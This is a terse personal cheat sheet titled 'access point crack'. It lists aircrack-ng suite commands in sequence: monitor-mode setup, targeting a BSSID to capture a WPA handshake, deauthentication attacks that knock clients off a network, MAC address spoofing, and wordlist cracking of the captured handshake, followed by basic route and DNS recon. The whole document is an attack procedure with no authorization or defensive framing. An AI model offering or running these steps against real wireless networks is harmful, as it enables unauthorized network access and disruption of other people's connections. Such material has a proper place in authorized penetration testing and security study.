access point crack

1.airmon-ng airmon-ng start wlan0 airmon-ng stop wlan0

2.airodump-ng mon0 airodump-ng -c 1 mon0 airodump-ng -c 4 --bssid <bssid> -a mon0 airodump -c 4 --bssid <bssid> -w output.file mon0(wpa handshake appear)

3.ssid - bssid essid

4.deauth attack aireplay-ng -0 2 -a <bssid> mon0 aireplay-ng -0 0 -a <bssid> mon0

5.macchanger -m <mac> wlan0

6.ifconfig wlan0 down ifconfig wlan0 up

7.aircrack-ng output.file.cap -w /xx/xx/xx.lst

8.netstat -rn route -n cat /etc/resolv.conf